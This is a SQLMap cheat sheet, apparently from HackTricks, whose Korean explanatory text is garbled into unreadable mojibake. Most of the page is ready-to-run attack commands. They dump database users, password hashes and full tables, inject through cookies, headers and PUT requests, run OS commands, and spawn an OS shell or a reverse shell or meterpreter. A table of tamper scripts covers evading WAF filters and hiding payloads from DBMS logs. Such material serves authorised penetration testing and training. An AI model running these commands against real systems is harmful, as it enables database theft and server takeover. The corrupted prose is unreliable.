SQLMap

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

SQLmap์˜ ๊ธฐ๋ณธ ์ธ์ž

์ผ๋ฐ˜์ ์ธ

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Technique flags (--technique)

--technique ์ธ์ž๋Š” sqlmap์ด ์‹œ๋„ํ•  SQL ์ธ์ ์…˜ ๋ฐฉ๋ฒ•์„ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค. ๋ฌธ์ž์—ด์˜ ๊ฐ ๋ฌธ์ž๋Š” ๊ธฐ์ˆ ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค:

LetterTechniqueDescription
BBoolean-based blindtrue/false ์กฐ๊ฑด์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”๋ก ํ•ฉ๋‹ˆ๋‹ค
EError-based์ƒ์„ธํ•œ DBMS ์˜ค๋ฅ˜ ๋ฉ”์‹œ์ง€๋ฅผ ํ™œ์šฉํ•˜์—ฌ ๊ฒฐ๊ณผ๋ฅผ ์œ ์ถœํ•ฉ๋‹ˆ๋‹ค
UUNION query๋™์ผํ•œ ์ฑ„๋„์„ ํ†ตํ•ด ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•ด UNION SELECT ๋ฌธ์„ ์ฃผ์ž…ํ•ฉ๋‹ˆ๋‹ค
SStacked queries;๋กœ ๊ตฌ๋ถ„๋œ ์ถ”๊ฐ€ ๋ฌธ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค
TTime-based blind์ธ์ ์…˜์„ ๊ฐ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์ง€์—ฐ(SLEEP, WAITFOR)์— ์˜์กดํ•ฉ๋‹ˆ๋‹ค
QInline / out-of-bandLOAD_FILE()์™€ ๊ฐ™์€ ํ•จ์ˆ˜๋‚˜ DNS์™€ ๊ฐ™์€ OOB ์ฑ„๋„์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค

๊ธฐ๋ณธ ์ˆœ์„œ๋Š” BEUSTQ์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ์žฌ๋ฐฐ์—ดํ•˜๊ฑฐ๋‚˜ ์ œํ•œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, Boolean๊ณผ Time-based๋งŒ ๊ทธ ์ˆœ์„œ๋Œ€๋กœ:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

์ •๋ณด ๊ฒ€์ƒ‰

๋‚ด๋ถ€

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB ๋ฐ์ดํ„ฐ

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

์š”์ฒญ์„ ์บก์ฒ˜ํ•˜๊ณ  req.txt ํŒŒ์ผ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.

sqlmap -r req.txt --current-user

GET ์š”์ฒญ ์ฃผ์ž…

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST ์š”์ฒญ ์ฃผ์ž…

sqlmap -u "http://example.com" --data "username=*&password=*"

ํ—ค๋” ๋ฐ ๊ธฐํƒ€ HTTP ๋ฉ”์„œ๋“œ์—์„œ์˜ ์ธ์ ์…˜

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

๋‘ ๋ฒˆ์งธ ์ฐจ์ˆ˜ ์ฃผ์ž…

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

์…ธ

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

SQLmap์œผ๋กœ ์›น์‚ฌ์ดํŠธ ํฌ๋กค๋ง ๋ฐ ์ž๋™ ์ต์Šคํ”Œ๋กœ์ž‡

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

์ฃผ์ž… ์‚ฌ์šฉ์ž ์ •์˜

์ ‘๋ฏธ์‚ฌ ์„ค์ •

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

์ ‘๋‘์‚ฌ

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

boolean injection ์ฐพ๊ธฐ ๋„์›€๋ง

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

๋ณ€์กฐ

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.py์•„ํฌ์ŠคํŠธ๋กœํ”ผ ๋ฌธ์ž๋ฅผ UTF-8 ์ „์ฒด ํญ ๋Œ€์‘ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
apostrophenullencode.py์•„ํฌ์ŠคํŠธ๋กœํ”ผ ๋ฌธ์ž๋ฅผ ๋ถˆ๋ฒ•์ ์ธ ์ด์ค‘ ์œ ๋‹ˆ์ฝ”๋“œ ๋Œ€์‘ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
appendnullbyte.pyํŽ˜์ด๋กœ๋“œ ๋์— ์ธ์ฝ”๋”ฉ๋œ NULL ๋ฐ”์ดํŠธ ๋ฌธ์ž๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
base64encode.py์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ Base64๋กœ ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค.
between.pyโ€˜>โ€™ ์—ฐ์‚ฐ์ž๋ฅผ โ€™NOT BETWEEN 0 AND #โ€™๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
bluecoat.pySQL ๋ฌธ์žฅ ๋’ค์˜ ๊ณต๋ฐฑ ๋ฌธ์ž๋ฅผ ์œ ํšจํ•œ ๋ฌด์ž‘์œ„ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค. ์ดํ›„ โ€˜=โ€™ ๋ฌธ์ž๋ฅผ LIKE ์—ฐ์‚ฐ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
chardoubleencode.py์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ ์ด์ค‘ URL ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค(์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ).
commalesslimit.pyโ€™LIMIT M, Nโ€™๊ณผ ๊ฐ™์€ ์ธ์Šคํ„ด์Šค๋ฅผ โ€™LIMIT N OFFSET Mโ€™์œผ๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
commalessmid.pyโ€™MID(A, B, C)โ€™์™€ ๊ฐ™์€ ์ธ์Šคํ„ด์Šค๋ฅผ โ€™MID(A FROM B FOR C)โ€™๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
concat2concatws.pyโ€™CONCAT(A, B)โ€™์™€ ๊ฐ™์€ ์ธ์Šคํ„ด์Šค๋ฅผ โ€™CONCAT_WS(MID(CHAR(0), 0, 0), A, B)โ€™๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
charencode.py์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ URL ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค(์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ).
charunicodeencode.py์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋น„์ธ์ฝ”๋”ฉ ๋ฌธ์ž๋ฅผ ์œ ๋‹ˆ์ฝ”๋“œ URL ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค(์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ). โ€œ%u0022โ€
charunicodeescape.py์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋น„์ธ์ฝ”๋”ฉ ๋ฌธ์ž๋ฅผ ์œ ๋‹ˆ์ฝ”๋“œ URL ์ธ์ฝ”๋”ฉํ•ฉ๋‹ˆ๋‹ค(์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ). โ€œ\u0022โ€
equaltolike.pyโ€˜=โ€™ ์—ฐ์‚ฐ์ž์˜ ๋ชจ๋“  ๋ฐœ์ƒ์„ โ€˜LIKEโ€™ ์—ฐ์‚ฐ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
escapequotes.py์Šฌ๋ž˜์‹œ๋กœ ์•„ํฌ์ŠคํŠธ๋กœํ”ผ(โ€™)์™€ ํฐ๋”ฐ์˜ดํ‘œ(โ€œ)๋ฅผ ์ด์Šค์ผ€์ดํ”„ํ•ฉ๋‹ˆ๋‹ค.
greatest.pyโ€˜>โ€™ ์—ฐ์‚ฐ์ž๋ฅผ โ€˜GREATESTโ€™ ๋Œ€์‘ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
halfversionedmorekeywords.py๊ฐ ํ‚ค์›Œ๋“œ ์•ž์— ๋ฒ„์ „์ด ์žˆ๋Š” MySQL ์ฃผ์„์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
ifnull2ifisnull.pyโ€™IFNULL(A, B)โ€™์™€ ๊ฐ™์€ ์ธ์Šคํ„ด์Šค๋ฅผ โ€™IF(ISNULL(A), B, A)โ€™๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
modsecurityversioned.py์ „์ฒด ์ฟผ๋ฆฌ๋ฅผ ๋ฒ„์ „์ด ์žˆ๋Š” ์ฃผ์„์œผ๋กœ ๊ฐ์Œ‰๋‹ˆ๋‹ค.
modsecurityzeroversioned.py์ „์ฒด ์ฟผ๋ฆฌ๋ฅผ ์ œ๋กœ ๋ฒ„์ „ ์ฃผ์„์œผ๋กœ ๊ฐ์Œ‰๋‹ˆ๋‹ค.
multiplespaces.pySQL ํ‚ค์›Œ๋“œ ์ฃผ์œ„์— ์—ฌ๋Ÿฌ ๊ฐœ์˜ ๊ณต๋ฐฑ์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
nonrecursivereplacement.py๋ฏธ๋ฆฌ ์ •์˜๋œ SQL ํ‚ค์›Œ๋“œ๋ฅผ ๋Œ€์ฒด์— ์ ํ•ฉํ•œ ํ‘œํ˜„์œผ๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: .replace(โ€œSELECTโ€, โ€œโ€) ํ•„ํ„ฐ).
percentage.py๊ฐ ๋ฌธ์ž ์•ž์— ๋ฐฑ๋ถ„์œจ ๊ธฐํ˜ธ(โ€˜%โ€™)๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
overlongutf8.py์ฃผ์–ด์ง„ ํŽ˜์ด๋กœ๋“œ์˜ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ ๋ณ€ํ™˜ํ•ฉ๋‹ˆ๋‹ค(์ด๋ฏธ ์ธ์ฝ”๋”ฉ๋œ ๊ฒƒ์€ ์ฒ˜๋ฆฌํ•˜์ง€ ์•Š์Œ).
randomcase.py๊ฐ ํ‚ค์›Œ๋“œ ๋ฌธ์ž๋ฅผ ๋ฌด์ž‘์œ„ ๋Œ€์†Œ๋ฌธ์ž ๊ฐ’์œผ๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
randomcomments.pySQL ํ‚ค์›Œ๋“œ์— ๋ฌด์ž‘์œ„ ์ฃผ์„์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
securesphere.pyํŠน๋ณ„ํžˆ ์ œ์ž‘๋œ ๋ฌธ์ž์—ด์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
sp_password.pyํŽ˜์ด๋กœ๋“œ ๋์— โ€™sp_passwordโ€™๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ DBMS ๋กœ๊ทธ์—์„œ ์ž๋™์œผ๋กœ ๋‚œ๋…ํ™”ํ•ฉ๋‹ˆ๋‹ค.
space2comment.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€™)๋ฅผ ์ฃผ์„์œผ๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
space2dash.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€˜)๋ฅผ ๋Œ€์‹œ ์ฃผ์„(โ€™โ€“โ€˜)์œผ๋กœ ๋Œ€์ฒดํ•˜๊ณ  ๋ฌด์ž‘์œ„ ๋ฌธ์ž์—ด๊ณผ ์ƒˆ ์ค„(โ€™\nโ€™)์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
space2hash.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€˜)๋ฅผ ํŒŒ์šด๋“œ ๋ฌธ์ž(โ€™#โ€˜)๋กœ ๋Œ€์ฒดํ•˜๊ณ  ๋ฌด์ž‘์œ„ ๋ฌธ์ž์—ด๊ณผ ์ƒˆ ์ค„(โ€™\nโ€™)์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
space2morehash.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€˜)๋ฅผ ํŒŒ์šด๋“œ ๋ฌธ์ž(โ€™#โ€˜)๋กœ ๋Œ€์ฒดํ•˜๊ณ  ๋ฌด์ž‘์œ„ ๋ฌธ์ž์—ด๊ณผ ์ƒˆ ์ค„(โ€™\nโ€™)์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
space2mssqlblank.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€™)๋ฅผ ์œ ํšจํ•œ ๋Œ€์ฒด ๋ฌธ์ž ์ง‘ํ•ฉ์—์„œ ๋ฌด์ž‘์œ„ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
space2mssqlhash.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€˜)๋ฅผ ํŒŒ์šด๋“œ ๋ฌธ์ž(โ€™#โ€˜)๋กœ ๋Œ€์ฒดํ•˜๊ณ  ์ƒˆ ์ค„(โ€™\nโ€™)์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
space2mysqlblank.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€™)๋ฅผ ์œ ํšจํ•œ ๋Œ€์ฒด ๋ฌธ์ž ์ง‘ํ•ฉ์—์„œ ๋ฌด์ž‘์œ„ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
space2mysqldash.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€˜)๋ฅผ ๋Œ€์‹œ ์ฃผ์„(โ€™โ€“โ€˜)์œผ๋กœ ๋Œ€์ฒดํ•˜๊ณ  ์ƒˆ ์ค„(โ€™\nโ€™)์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
space2plus.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€˜)๋ฅผ ๋”ํ•˜๊ธฐ ๊ธฐํ˜ธ(โ€™+โ€™)๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
space2randomblank.py๊ณต๋ฐฑ ๋ฌธ์ž(โ€™ โ€™)๋ฅผ ์œ ํšจํ•œ ๋Œ€์ฒด ๋ฌธ์ž ์ง‘ํ•ฉ์—์„œ ๋ฌด์ž‘์œ„ ๊ณต๋ฐฑ ๋ฌธ์ž๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
symboliclogical.pyAND ๋ฐ OR ๋…ผ๋ฆฌ ์—ฐ์‚ฐ์ž๋ฅผ ๊ทธ๋“ค์˜ ๊ธฐํ˜ธ ๋Œ€์‘๋ฌผ๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค(&& ๋ฐ
unionalltounion.pyUNION ALL SELECT๋ฅผ UNION SELECT๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
unmagicquotes.py์ธ์šฉ ๋ฌธ์ž(โ€™)๋ฅผ ๋‹ค์ค‘ ๋ฐ”์ดํŠธ ์กฐํ•ฉ %bf%27๋กœ ๋Œ€์ฒดํ•˜๊ณ  ๋์— ์ผ๋ฐ˜ ์ฃผ์„์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค(์ž‘๋™ํ•˜๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•ด).
uppercase.py๊ฐ ํ‚ค์›Œ๋“œ ๋ฌธ์ž๋ฅผ ๋Œ€๋ฌธ์ž ๊ฐ’ โ€™INSERTโ€™๋กœ ๋Œ€์ฒดํ•ฉ๋‹ˆ๋‹ค.
varnish.pyHTTP ํ—ค๋” โ€™X-originating-IPโ€™๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
versionedkeywords.py๊ฐ ๋น„ํ•จ์ˆ˜ ํ‚ค์›Œ๋“œ๋ฅผ ๋ฒ„์ „์ด ์žˆ๋Š” MySQL ์ฃผ์„์œผ๋กœ ๊ฐ์Œ‰๋‹ˆ๋‹ค.
versionedmorekeywords.py๊ฐ ํ‚ค์›Œ๋“œ๋ฅผ ๋ฒ„์ „์ด ์žˆ๋Š” MySQL ์ฃผ์„์œผ๋กœ ๊ฐ์Œ‰๋‹ˆ๋‹ค.
xforwardedfor.py๊ฐ€์งœ HTTP ํ—ค๋” โ€™X-Forwarded-Forโ€™๋ฅผ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ